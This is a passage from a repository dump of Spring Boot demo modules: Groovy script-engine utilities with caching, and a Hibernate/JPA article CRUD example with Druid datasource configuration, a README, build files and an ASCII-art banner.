要执行的脚本 通过字符串传入，应用场景 如从数据库中读取出来的脚本等\n     * @param funName\n     *            要执行的方法名\n     * @param params\n     *            执行grovvy需要传入的参数\n     * @return\n     */\n    public Object runGroovyScript(String script, String funName, Object[] params) {\n        try {\n            ScriptEngineManager factory = new ScriptEngineManager();\n            ScriptEngine engine = factory.getEngineByName(\"groovy\");\n            // String HelloLanguage = \"def hello(language) {return \\\"Hello\n            // $language\\\"}\";\n            engine.eval(script);\n            Invocable inv = (Invocable) engine;\n            return inv.invokeFunction(funName, params);\n        } catch (Exception e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n            return null;\n        }\n    }\n\n    public void getScriptEngineFactoryList() {\n        ScriptEngineManager manager = new ScriptEngineManager();\n\n        List<ScriptEngineFactory> factories = manager.getEngineFactories();\n\n        for (ScriptEngineFactory factory : factories) {\n\n            System.out.printf(\n                    \"Name: %s%n\" + \"Version: %s%n\" + \"Language name: %s%n\" + \"Language version: %s%n\"\n                            + \"Extensions: %s%n\" + \"Mime types: %s%n\" + \"Names: %s%n\",\n                    factory.getEngineName(), factory.getEngineVersion(), factory.getLanguageName(),\n                    factory.getLanguageVersion(), factory.getExtensions(), factory.getMimeTypes(), factory.getNames());\n            // 得到当前的脚本引擎\n\n            ScriptEngine engine = factory.getScriptEngine();\n            System.out.println(engine);\n        }\n    }\n\n    public static void main(String[] args) {\n        test1();\n//        test2();\n\n     /*   Object res3 = groovy.runGroovyScriptByFile(null, \"hello.groovy\", \"hello\", new String[] { \"param3\", \"param4\" });\n        System.out.println(res3);\n*/\n    }\n\n    private static void test2() {\n        Groovy groovy = new Groovy();\n        groovy.getScriptEngineFactoryList();\n        Map<String, Object> params = new HashMap<String, Object>();\n        params.put(\"language\", \"groovy test\");\n        Object res = groovy.runGroovyScript(\"return \\\"Hello $language\\\"\", params);\n        String script = \"def hello(param1,param2) {return \\\"the params is $param1 and $param2\\\"}\";\n        Object res1 = groovy.runGroovyScript(script, \"hello\", new String[] { \"param1\", \"param2\" });\n        System.out.println(res);\n        System.out.println(res1);\n    }\n    private static void test3() {\n        Groovy groovy = new Groovy();\n        groovy.getScriptEngineFactoryList();\n        Map<String, Object> params = new HashMap<String, Object>();\n        params.put(\"language\", \"groovy test\");\n        Object res = groovy.runGroovyScript(\" class GroovyClass {\\n\" +\n                \"    String name\\n\" +\n                \"        def message = \\\"Hello from Groovy\\\"\\n\" +\n                \"        def abc(a,b){\\n\" +\n                \"                return a+b;\\n\" +\n                \"        }\\n\" +\n                \"    void greet() {\\n\" +\n                \"        println(\\\"Hello 111 , ${name}\\\")\\n\" +\n                \"    }\\n\" +\n                \"}\\n\" +\n                \"def obj = new GroovyClass(name: \\\"World\\\")\\n\" +\n                \"obj.greet()\", params);\n        System.out.println(res);\n    }\n\n    private static void test1() {\n        String script = \"package groovy;\\n\" +\n                \"\\n\" +\n                \"import com.alibaba.fastjson.JSON;\\n\" +\n                \"import com.alibaba.fastjson.JSONObject;\\n\" +\n                \"public class Test001 {\\n\" +\n                \"    public JSONObject run (String map) {\\n\" +\n                \"       return  JSON.parseObject(map);\\n\" +\n                \"    }\\n\" +\n                \"}\\n\";\n        String param = \"        {\\\"1\\\":2,\\\"3\\\":\\\"4\\\"}\";\n\n        ClassLoader parent = Thread.currentThread().getContextClassLoader();\n        GroovyClassLoader loader = new GroovyClassLoader(parent);\n        Class groovyClass = loader.parseClass(script);\n        GroovyObject groovyObject = null;\n        try {\n            groovyObject = (GroovyObject) groovyClass.newInstance();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        Object res = groovyObject.invokeMethod(\"run\", param);\n        System.out.println(JSONUtil.toJsonPrettyStr(res));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_groovy/src/main/java/com/example/demo/GroovyScriptUtil.java",
    "content": "package com.example.demo;\n\nimport com.alibaba.fastjson.JSONObject;\nimport com.github.benmanes.caffeine.cache.Cache;\nimport com.github.benmanes.caffeine.cache.Caffeine;\nimport groovy.lang.GroovyClassLoader;\nimport groovy.lang.GroovyObject;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.util.ObjectUtils;\n\nimport java.util.concurrent.TimeUnit;\n\npublic class GroovyScriptUtil {\n    private GroovyScriptUtil() {}\n    private static Logger logger = LoggerFactory.getLogger(GroovyScriptUtil.class);\n    private static Cache<String, GroovyObject> caffeineCache;\n\n    static {\n        ///脚本缓存\n        caffeineCache = Caffeine\n                .newBuilder()\n                .initialCapacity(24)\n                .maximumSize(1000)\n                .expireAfterAccess(2, TimeUnit.DAYS)\n                .build();\n    }\n\n\n    public static JSONObject runScript (String script,String params) {\n        ///从缓存中获取groovy脚本，没有则创建一个\n        GroovyObject groovyObject = caffeineCache.get(script, key -> {\n            ClassLoader parent = Thread.currentThread().getContextClassLoader();\n            GroovyClassLoader loader = new GroovyClassLoader(parent);\n            Class groovyClass = loader.parseClass(script);\n            GroovyObject cacheObj = null;\n            try {\n                cacheObj = (GroovyObject) groovyClass.newInstance();\n            } catch (Exception e) {\n                e.printStackTrace();\n            }\n            return cacheObj;\n        });\n        if (ObjectUtils.isEmpty(groovyObject)) {\n            return new JSONObject();\n        }\n        try {\n            Object run = groovyObject.invokeMethod(\"run\", params);\n            if (run instanceof JSONObject) {\n                return (JSONObject) run;\n            }\n        } catch (Exception e) {\n            logger.error(\"\",e);\n        }\n        return new JSONObject();\n    }\n\n    public static void main(String[] args) {\n        String script = \"package groovy;\\n\" +\n                \"\\n\" +\n                \"import com.alibaba.fastjson.JSON;\\n\" +\n                \"import com.alibaba.fastjson.JSONObject;\\n\" +\n                \"public class Test001 {\\n\" +\n                \"    public JSONObject run (String map) {\\n\" +\n                \"       return  JSON.parseObject(map);\\n\" +\n                \"    }\\n\" +\n                \"}\\n\";\n        String param = \"        {\\\"1\\\":2,\\\"3\\\":\\\"4\\\"}\";\n        long time1 = System.currentTimeMillis();\n        int i = 0;\n        for (;;) {\n            if (i > 1000000) {\n                break;\n            }\n            //调用\n            runScript(script,param);\n            i++;\n        }\n        System.out.println(System.currentTimeMillis()-time1);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_groovy/src/main/resources/application.properties",
    "content": "\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_groovy/src/test/java/com/example/demo/DemoApplicationTests.java",
    "content": "package com.example.demo;\n\nimport org.junit.jupiter.api.Test;\nimport org.springframework.boot.test.context.SpringBootTest;\n\n@SpringBootTest\nclass DemoApplicationTests {\n\n    @Test\n    void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate/.gitignore",
    "content": ".idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate/README.md",
    "content": "## 集成Hibernate\n\nSpringBoot集成Hibernate做DAO层\n\n## 安装MySQL数据库\n\n数据库的安装教程网上非常多，版本最好是mysql5.5+\n\n配置数据库的账号和密码。\n\n## 修改application.yml\n\n修改配置文件，主要是mysql的账号和密码\n\n## 数据库初始化\n\n创建数据库pos，然后执行SQL文件`src/main/resources/sql/schema.sql`，创建表\n\n## 运行测试用例\n\n执行对用户表增/删/改/查的测试用例：`com.xncoding.pos.ApplicationTests.java`\n\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_hibernate</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <druid.version>1.1.2</druid.version>\n        <mysql-connector.version>8.0.7-dmr</mysql-connector.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-jpa</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <version>${mysql-connector.version}</version>\n            <scope>runtime</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>${druid.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.hamcrest</groupId>\n            <artifactId>hamcrest-all</artifactId>\n            <version>1.3</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.6.1</version>\n                <configuration>\n                    <!--<proc>none</proc>-->\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.20</version>\n                <configuration>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                </executions>\n            </plugin>\n        </plugins>\n\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                </includes>\n            </resource>\n        </resources>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate/src/main/java/com/xncoding/pos/Application.java",
    "content": "package com.xncoding.pos;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate/src/main/java/com/xncoding/pos/config/DataSourceConfig.java",
    "content": "package com.xncoding.pos.config;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.xncoding.pos.config.properties.DruidProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.transaction.annotation.EnableTransactionManagement;\n\nimport javax.annotation.Resource;\n\n/**\n * 数据源配置\n *\n * @author xiongneng\n * @since 2017/5/20 21:58\n */\n@Configuration\n@EnableTransactionManagement(order = 2)\npublic class DataSourceConfig {\n\n    @Resource\n    private DruidProperties druidProperties;\n\n    /**\n     * 单数据源连接池配置\n     */\n    @Bean\n    public DruidDataSource singleDatasource() {\n        DruidDataSource dataSource = new DruidDataSource();\n        druidProperties.config(dataSource);\n        return dataSource;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate/src/main/java/com/xncoding/pos/config/properties/DruidProperties.java",
    "content": "package com.xncoding.pos.config.properties;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.alibaba.druid.util.JdbcConstants;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.stereotype.Component;\n\nimport java.sql.SQLException;\n\n/**\n * <p>数据库数据源配置</p>\n * <p>说明:这个类中包含了许多默认配置,若这些配置符合您的情况,您可以不用管,若不符合,建议不要修改本类,建议直接在\"application.yml\"中配置即可</p>\n *\n * @author xiongneng\n * @since 2017-05-21 11:18\n */\n@Component\n@ConfigurationProperties(prefix = \"spring.datasource\")\npublic class DruidProperties {\n\n    private String url;\n\n    private String username;\n\n    private String password;\n\n    private String driverClassName = \"com.mysql.cj.jdbc.Driver\";\n\n    private Integer initialSize = 10;\n\n    private Integer minIdle = 3;\n\n    private Integer maxActive = 60;\n\n    private Integer maxWait = 60000;\n\n    private Boolean removeAbandoned = true;\n\n    private Integer removeAbandonedTimeout = 180;\n\n    private Integer timeBetweenEvictionRunsMillis = 60000;\n\n    private Integer minEvictableIdleTimeMillis = 300000;\n\n    private String validationQuery = \"SELECT 'x'\";\n\n    private Boolean testWhileIdle = true;\n\n    private Boolean testOnBorrow = false;\n\n    private Boolean testOnReturn = false;\n\n    private Boolean poolPreparedStatements = true;\n\n    private Integer maxPoolPreparedStatementPerConnectionSize = 50;\n\n    private String filters = \"stat\";\n\n    public void config(DruidDataSource dataSource) {\n        dataSource.setDbType(JdbcConstants.MYSQL);\n        dataSource.setUrl(url);\n        dataSource.setUsername(username);\n        dataSource.setPassword(password);\n        dataSource.setDriverClassName(driverClassName);\n        dataSource.setInitialSize(initialSize);     // 定义初始连接数\n        dataSource.setMinIdle(minIdle);             // 最小空闲\n        dataSource.setMaxActive(maxActive);         // 定义最大连接数\n        dataSource.setMaxWait(maxWait);             // 获取连接等待超时的时间\n        dataSource.setRemoveAbandoned(removeAbandoned); // 超过时间限制是否回收\n        dataSource.setRemoveAbandonedTimeout(removeAbandonedTimeout); // 超过时间限制多长\n\n        // 配置间隔多久才进行一次检测，检测需要关闭的空闲连接，单位是毫秒\n        dataSource.setTimeBetweenEvictionRunsMillis(timeBetweenEvictionRunsMillis);\n        // 配置一个连接在池中最小生存的时间，单位是毫秒\n        dataSource.setMinEvictableIdleTimeMillis(minEvictableIdleTimeMillis);\n        // 用来检测连接是否有效的sql，要求是一个查询语句\n        dataSource.setValidationQuery(validationQuery);\n        // 申请连接的时候检测\n        dataSource.setTestWhileIdle(testWhileIdle);\n        // 申请连接时执行validationQuery检测连接是否有效，配置为true会降低性能\n        dataSource.setTestOnBorrow(testOnBorrow);\n        // 归还连接时执行validationQuery检测连接是否有效，配置为true会降低性能\n        dataSource.setTestOnReturn(testOnReturn);\n        // 打开PSCache，并且指定每个连接上PSCache的大小\n        dataSource.setPoolPreparedStatements(poolPreparedStatements);\n        dataSource.setMaxPoolPreparedStatementPerConnectionSize(maxPoolPreparedStatementPerConnectionSize);\n        // 属性类型是字符串，通过别名的方式配置扩展插件，常用的插件有：\n        // 监控统计用的filter:stat\n        // 日志用的filter:log4j\n        // 防御SQL注入的filter:wall\n        try {\n            dataSource.setFilters(filters);\n        } catch (SQLException e) {\n            e.printStackTrace();\n        }\n    }\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    public String getDriverClassName() {\n        return driverClassName;\n    }\n\n    public void setDriverClassName(String driverClassName) {\n        this.driverClassName = driverClassName;\n    }\n\n    public Integer getInitialSize() {\n        return initialSize;\n    }\n\n    public void setInitialSize(Integer initialSize) {\n        this.initialSize = initialSize;\n    }\n\n    public Integer getMinIdle() {\n        return minIdle;\n    }\n\n    public void setMinIdle(Integer minIdle) {\n        this.minIdle = minIdle;\n    }\n\n    public Integer getMaxActive() {\n        return maxActive;\n    }\n\n    public void setMaxActive(Integer maxActive) {\n        this.maxActive = maxActive;\n    }\n\n    public Integer getMaxWait() {\n        return maxWait;\n    }\n\n    public void setMaxWait(Integer maxWait) {\n        this.maxWait = maxWait;\n    }\n\n    public Integer getTimeBetweenEvictionRunsMillis() {\n        return timeBetweenEvictionRunsMillis;\n    }\n\n    public void setTimeBetweenEvictionRunsMillis(Integer timeBetweenEvictionRunsMillis) {\n        this.timeBetweenEvictionRunsMillis = timeBetweenEvictionRunsMillis;\n    }\n\n    public Integer getMinEvictableIdleTimeMillis() {\n        return minEvictableIdleTimeMillis;\n    }\n\n    public void setMinEvictableIdleTimeMillis(Integer minEvictableIdleTimeMillis) {\n        this.minEvictableIdleTimeMillis = minEvictableIdleTimeMillis;\n    }\n\n    public String getValidationQuery() {\n        return validationQuery;\n    }\n\n    public void setValidationQuery(String validationQuery) {\n        this.validationQuery = validationQuery;\n    }\n\n    public Boolean getTestWhileIdle() {\n        return testWhileIdle;\n    }\n\n    public void setTestWhileIdle(Boolean testWhileIdle) {\n        this.testWhileIdle = testWhileIdle;\n    }\n\n    public Boolean getTestOnBorrow() {\n        return testOnBorrow;\n    }\n\n    public void setTestOnBorrow(Boolean testOnBorrow) {\n        this.testOnBorrow = testOnBorrow;\n    }\n\n    public Boolean getTestOnReturn() {\n        return testOnReturn;\n    }\n\n    public void setTestOnReturn(Boolean testOnReturn) {\n        this.testOnReturn = testOnReturn;\n    }\n\n    public Boolean getPoolPreparedStatements() {\n        return poolPreparedStatements;\n    }\n\n    public void setPoolPreparedStatements(Boolean poolPreparedStatements) {\n        this.poolPreparedStatements = poolPreparedStatements;\n    }\n\n    public Integer getMaxPoolPreparedStatementPerConnectionSize() {\n        return maxPoolPreparedStatementPerConnectionSize;\n    }\n\n    public void setMaxPoolPreparedStatementPerConnectionSize(Integer maxPoolPreparedStatementPerConnectionSize) {\n        this.maxPoolPreparedStatementPerConnectionSize = maxPoolPreparedStatementPerConnectionSize;\n    }\n\n    public String getFilters() {\n        return filters;\n    }\n\n    public void setFilters(String filters) {\n        this.filters = filters;\n    }\n\n    public Boolean getRemoveAbandoned() {\n        return removeAbandoned;\n    }\n\n    public void setRemoveAbandoned(Boolean removeAbandoned) {\n        this.removeAbandoned = removeAbandoned;\n    }\n\n    public Integer getRemoveAbandonedTimeout() {\n        return removeAbandonedTimeout;\n    }\n\n    public void setRemoveAbandonedTimeout(Integer removeAbandonedTimeout) {\n        this.removeAbandonedTimeout = removeAbandonedTimeout;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate/src/main/java/com/xncoding/pos/dao/entity/Article.java",
    "content": "package com.xncoding.pos.dao.entity;\n\nimport java.io.Serializable;\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.GeneratedValue;\nimport javax.persistence.GenerationType;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\n\n/**\n * Article\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/3/2\n */\n@Entity\n@Table(name = \"articles\")\npublic class Article implements Serializable {\n    private static final long serialVersionUID = 1L;\n    @Id\n    @GeneratedValue(strategy = GenerationType.AUTO)\n    @Column(name = \"article_id\")\n    private int articleId;\n    @Column(name = \"title\")\n    private String title;\n    @Column(name = \"category\")\n    private String category;\n\n    public int getArticleId() {\n        return articleId;\n    }\n\n    public void setArticleId(int articleId) {\n        this.articleId = articleId;\n    }\n\n    public String getTitle() {\n        return title;\n    }\n\n    public void setTitle(String title) {\n        this.title = title;\n    }\n\n    public String getCategory() {\n        return category;\n    }\n\n    public void setCategory(String category) {\n        this.category = category;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate/src/main/java/com/xncoding/pos/dao/repository/IArticleDAO.java",
    "content": "package com.xncoding.pos.dao.repository;\n\nimport com.xncoding.pos.dao.entity.Article;\n\nimport java.util.List;\n\n/**\n * IArticleDAO\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/3/2\n */\npublic interface IArticleDAO {\n    List<Article> getAllArticles();\n\n    Article getArticleById(int articleId);\n\n    void addArticle(Article article);\n\n    void updateArticle(Article article);\n\n    void deleteArticle(int articleId);\n\n    boolean articleExists(String title, String category);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate/src/main/java/com/xncoding/pos/dao/repository/impl/ArticleDAO.java",
    "content": "package com.xncoding.pos.dao.repository.impl;\n\nimport java.util.List;\nimport javax.persistence.EntityManager;\nimport javax.persistence.PersistenceContext;\n\nimport com.xncoding.pos.dao.entity.Article;\nimport com.xncoding.pos.dao.repository.IArticleDAO;\nimport org.springframework.stereotype.Repository;\n\n/**\n * ArticleDAO\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/3/2\n */\n@Repository\npublic class ArticleDAO implements IArticleDAO {\n    @PersistenceContext\n    private EntityManager entityManager;\n\n    @Override\n    public Article getArticleById(int articleId) {\n        return entityManager.find(Article.class, articleId);\n    }\n\n    @SuppressWarnings(\"unchecked\")\n    @Override\n    public List<Article> getAllArticles() {\n        String hql = \"FROM Article as atcl ORDER BY atcl.articleId\";\n        return (List<Article>) entityManager.createQuery(hql).getResultList();\n    }\n\n    @Override\n    public void addArticle(Article article) {\n        entityManager.persist(article);\n    }\n\n    @Override\n    public void updateArticle(Article article) {\n        Article artcl = getArticleById(article.getArticleId());\n        artcl.setTitle(article.getTitle());\n        artcl.setCategory(article.getCategory());\n        entityManager.flush();\n    }\n\n    @Override\n    public void deleteArticle(int articleId) {\n        entityManager.remove(getArticleById(articleId));\n    }\n\n    @Override\n    public boolean articleExists(String title, String category) {\n        String hql = \"FROM Article as atcl WHERE atcl.title = ? and atcl.category = ?\";\n        int count = entityManager.createQuery(hql)\n                .setParameter(0, title)\n                .setParameter(1, category).getResultList().size();\n        return count > 0;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate/src/main/java/com/xncoding/pos/service/ArticleService.java",
    "content": "package com.xncoding.pos.service;\n\nimport java.util.List;\n\nimport com.xncoding.pos.dao.entity.Article;\nimport com.xncoding.pos.dao.repository.IArticleDAO;\nimport org.springframework.stereotype.Service;\n\nimport javax.annotation.Resource;\n\n/**\n * ArticleService\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/3/2\n */\n@Service\npublic class ArticleService {\n\n    @Resource\n    private IArticleDAO articleDAO;\n\n    public Article getArticleById(int articleId) {\n        Article obj = articleDAO.getArticleById(articleId);\n        return obj;\n    }\n\n    public List<Article> getAllArticles() {\n        return articleDAO.getAllArticles();\n    }\n\n    public synchronized boolean addArticle(Article article) {\n        if (articleDAO.articleExists(article.getTitle(), article.getCategory())) {\n            return false;\n        } else {\n            articleDAO.addArticle(article);\n            return true;\n        }\n    }\n\n    public void updateArticle(Article article) {\n        articleDAO.updateArticle(article);\n    }\n\n    public void deleteArticle(int articleId) {\n        articleDAO.deleteArticle(articleId);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate/src/main/resources/application.yml",
    "content": "##########################################################\n##################  所有profile共有的配置  #################\n##########################################################\n\n###################  spring配置  ###################\nspring:\n  profiles:\n    active: dev\n  jpa:\n    properties:\n      hibernate:\n        dialect: org.hibernate.dialect.MySQLDialect\n        new_generator_mappings: false\n        format_sql: true\n\nlogging:\n  level:\n    org.hibernate.SQL: DEBUG\n    org.hibernate.type.descriptor.sql.BasicBinder: TRACE\n\n---\n\n#####################################################################\n########################  开发环境profile  ##########################\n#####################################################################\nspring:\n  profiles: dev\n  datasource:\n      url: jdbc:mysql://127.0.0.1:3306/pos?serverTimezone=UTC&useSSL=false&autoReconnect=true&tinyInt1isBit=false&useUnicode=true&characterEncoding=utf8\n      username: root\n      password: 123456\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: E:/logs/app.log\n\n---\n\n#####################################################################\n########################  测试环境profile  ##########################\n#####################################################################\n\nspring:\n  profiles: test\n  datasource:\n      url: jdbc:mysql://127.0.0.1:3306/pos?serverTimezone=UTC&useSSL=false&autoReconnect=true&tinyInt1isBit=false&useUnicode=true&characterEncoding=utf8\n      username: root\n      password: 123456\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: /var/logs/app.log\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate/src/main/resources/banner.txt",
    "content": " :: :.:..... : ....: ..: ..: : : :..: ..:...:.... :..........:.... .:.: : :.::..:.:......:.:..: : :...:..:::..::.:::::::..::.:::::.::::::::::::::::::::::::::::::::::::::::::;::::::\n.::.:.:::...: ::.:.:.:.:::.::::.::.:.:.:::.:.:.::::.::::.:::.::.:.:.:::::::::::::::.::::::::::::::::::::.:::.:::::::::::::::::::::::;:;:;;;:;;:;:i::::;;,;,,;::;,i;:i;,;:;,;;,;;i:;:\n::.::: :::::::::::::::::.:::::::::::::::.:::::::::::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;;:;;:::::;::::::ii,;,ii,,;,,:ii:ii,;::i:ii:i;,;;,i:,;,:i:::;,,;,,:\n::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;:::;;:::::::::::::::::;::::::;::::::::;:::;::::::i:,;:::;,;:;i:;,,;i;i:i,;,;,:,;,::,;;,;,:,;:;,,;i:;,;::i:,;,,;:;,\n:;;:;;:,i:,;:;::i:i:;:,;,,ii,,:;;,:i,;,,;,,i:,:::;:i::,;::,;,:,::i;,;::;:::::,:;:,::::,::i;:,::::::,:,:,,:ii:i::i:,;,;,:::;:;:;i:i;ii:i;,i;,;:::,:,::,::i:i:,::;,i,;ii;,,::;,:::i:i:\n;ii:,:,;;,;,,:,:;,:,:,::ii;,;:i::;::,:::::::;::,;:,;,:i:,;:::;:i::::::::::::::;,;,;;:::;:::::,::;:::::;,:i::i:;,::::;::::::,::,:i:iiiiiiiiii::i:::;:;:::::::;::i:,;i,i:i:i:,;:::::::\n,;;:;,;::;:::;:i::::::,;::i:i;::::,::;,::::,:::::;:i::;,:::;iifffjiii;i:::::i:,;;:,,:::,::::::::::::::::;,;;,;:;:,;,:;,::::;i:;;:iiiiii,i:,;::::;,:,:::;,;,:,:;,;;ii;,;i;::;::,:i:::\n,i:i::::::::::::::::,::i:i;;ii::;::,::::::::,::::;:i:;,;ijffLffffGGGDDLGfii;;:,;:i::::::;::::::::::::;::;:i;,;:;::;::::::,;:i:;;i:i:iii,;ii:,;::::,:;::::,:;::;,;;,;ii:i;,:;:;::::::\n:ii:;;:,:;,:::::,;,:::::iiiii;,;,:;:i::::::::;::;;,;ii;ifGLGGLGDGGGDDEDGffijiiii;::;:::::::::::::::::,:;:,::::,:,:::,;:::::,::,i:i,ii;;i,;;,;:,::;::::::;:::,;:,;i:i:,;,,;:,:,:;::::\ni;;,:::::::::::::::::::i::i:ii:,::::::::::;:::,;:iii;ifLDGfDDDGDDEEEKEEDEGDDGLfi:,;::::::,::::::::::::::;:;:i:::;:;::::::::;i:;,;:i:ii,;i:::,,::::,;::::,::::::;,:i:i;,;:,::::::,:::\ni:,;,,:::,:::::,::,::,:,;;,;i:i::;,:::::::,::,;,;i;ifLDGGDEKEDEEEKKDEDKEKEEDDDGfi;,::::::::::::::::::::::::::::::::::::::::::,:;:i;;i:;,;,,;::;:;:::::::::::;::,;i:;::;,,;:;;:i:;:::\ni:,;::::::::::::;::::,:::;:i::;,,:,:::::::;:,;iiifGGGDGDEEDKEKEEWW#WKKEWKEW#KKEGj;i;,::::::::::::::::::::.::..::.::...: ::::::,;:;:,;i:i:;::;::;:;:::::::::::::,;;:;:::i,:;:,:::::::\n:;;,::,:;:,::::::,::::,;,:::;,:;;:;:::::::::;,jjfGDGDGGGEDEEKKK#KWK#E#WWW#KWEWEDffii:;::::::.:::::::::::...;;:ijiii:::: :::::;:,:i,:;::;:::,:,::::::::::::,::::::::,::;:::::::::::::\n,::;,::::::::::::::::::::::i:;:::,:,::::.:;,iifffffDGGfLDEKKWK#WKEEWWWEWKKWWWWKKDGGi;,::::::::::::::.:.:;:;;;jLfGGfji;:::::.:::;::;;,:::;,;::;::;:::::::::;::::;:;:;::::::;:::i:::::\n::;::::::::::.:::::::::::::;:::::::,::::::i,ififLDGDDDDEKWEWWK##KWEWWWWKKKWKWWKWWKDGfi;::::::..:::::;,;ijLGjjjtjLGDDGDGGGi::::::::;:::::::::;::;,::::.:::::::::;::,:::;:::::::::::::\n:;:::::::::::.:::::::::::;:::,:;::;::::.::ijtGDGDDDDDEEKWWWKWWWWE##KK##KKWKWK#KWK#EGfii:::: :::::::::iiifLGGGGjjtGGEDGEGDj;;:::;:::;::::;::::::,;:::::::::::::::::;::::::::;:,;:::::\n:::;:::::::.::.:::::::::;:::::::::,::::::ifDGDKEKEDELDKKEKEK#WW#K#WWWWWEWWKK#KK#KKKGGi;::::::.:.::.:;ijfGGGEEDGGtjGGKDDEDG;;:.::::::::::::::::::::::::::::::::::::::;:::::::::::::::\n:::::::::::::::::::::::::::::::::::::::;ifDEDDD#GDEDEWWKEW#W#E#WWWKKWKWWKK#EWK#KEKGjii;:::::::: ::iiLGDGKKKKKDKKEjjGEDKEEjjGfj;:::::::::;:;:::::::::.:::::::::::;:;:::.:::::::::::::\n::::::::::::::::::::::::::;::::::::::::iiGKKDGEWEKEWWK#K#KWK#WW#KW#WK#WWKWKWK#KKKDj,;:::::... :::i;jGGDEEKDKKKKKKGjjGEKKDjGGGjf::::;::::::::::::::.::.::::::.::.:.::.:::::::::::::::\n:::::::::.::: ::::::::::;,::;::::::::,;ifLEKEEDEK#KKKWE#WW##KWWK##KK#KWWKKKWEGKGGi:;::::.::.:::::ifGGGEKKKEKDKWKEGLjGD#EKGGGGGG;:.::::::::::::::::::::..::::::::::::::::::::::::::::\n:::.::: :::.:::::::::::,::::::::::::i;ifGDEKKEEKKK#KK#KWWWKWWW##EWW#E#WEWEWEEDGjLi::::::::.: 